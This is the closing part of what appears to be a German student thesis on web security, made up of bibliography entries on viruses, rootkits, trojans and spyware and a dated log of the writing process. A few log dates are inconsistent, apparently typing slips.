http://timble.medientechnik-emden.de/jt/Internetprogrammierung/12.7.2.html
[27.12.2012]
[TrojanBoard01] Peter Zawadzki – Was sind Rootkits – Viren und Trojaner entfernen - kostenlos.
[Online] http://www.trojaner-board.de/56634-rootkits.html [04.11.2012]
[TrojanBoard02] Peter Zawadzki – Neue Verschlüsselungs-Trojaner Variante im Umlauf – Viren
und Trojaner entfernen - kostenlos. [Online]
http://www.trojaner-board.de/115183-neue-verschluesselungs-trojaner-varianteumlauf.html [10.11.2012]
[Töpfer/Huber]
Töpfer, Hans-Joachim; Huber, Annja (19.04.2004) – Computerviren
– Universität Augsburg Rechenzentrum [Online]
http://www.rz.uni-augsburg.de/de/info/connect/1996-01/viren/index.html
[25.12.2012]
[Werz]
Sascha Werz – Was ist Spyware – Computersicherheit ohne Fachchinesisch.
[Online] http://www.securityinfo.ch/spyware.html [10.11.2012]
[Wischnewski]
Jörg Wischnewski – Was man über den Webserver wissen sollte –
BuntesWeb.de – Information und Unterhaltung [Online]
http://www.buntesweb.de/homepage-handbuch/upload-webserver.htm
[25.12.2012]
[Wohlgemuth]
Heiko Wohlgemuth – Was ist,- und wie funktioniert Spyware – Virenschutz
Informations Portal [Online]
http://www.virenschutz.info/spyware.html [10.11.2012]
Protokoll
Seite 44
01.07.2012
Thema festgelegt
27.08.2012
Erste Literaturrecherche
28.08.2012
Mit dem Lesen von "Kübeck - Web-Sicherheit" begonnen
08.09.2012
Inhaltsverzeichnis zusammengestellt
08.09.2012
"Kübeck - Web-Sicherheit" fertig gelesen
13.09.2012
Weitere Literaturrecherche
15.09.2012
Weitere Literaturrecherche
20.09.2012
Weitere Bücher bestellt
20.09.2012
Disposition geschrieben
21.09.2012
Fertige Disposition
26.09.2012
Disposition an Landesschulrat geschickt
07.10.2012
Erste Seite geschrieben ("Was ist ein Virus?")
11.10.2012
Weitere Bücher bekommen und angefangen zu lesen
14.10.2012
Einleitung und weitere Textseiten geschrieben,
Formatierung angepasst
02.11.2012
Verbesserung der ersten Arbeiten
03.11.2012
Weitere Textseiten verfasst (bis "Was ist Spyware/Adware")
11.11.2012
Erstes Kapitel fertig gestellt
21.12.2012 – 24.12.2013
Täglich weitere Textseiten verfasst
24.12.2013
Zweites Kapitel fertig gestellt
24.12.2013 – 02.01.2013
Täglich weitere Textseiten verfasst
02.01.2013
Fertigstellung der letzten zwei Kapitel und der unkorrigierten Arbeit
21.02.2013
Letzte Arbeiten (Korrektur und Abstract)

Web-Sicherheit. Wie man Webanwendungen vor Angriffen schützen

Transcrição

Documentos relacionados

Grundlagen PHP - Programmierung Teil C

Teilnehmer der Jugendturniere TuS Harpen 2013

Interessante Internet Adressen

Zulassung eines Fahrzeuges mit auswärtigem

September 2 2009 - Filme für die Erde

Kunena - AntonForster.com

Lord Doom`s - leetupload.com

Beispiel Kampfbericht

Spyware - WinBoard Wiki

Tracking-Code Integration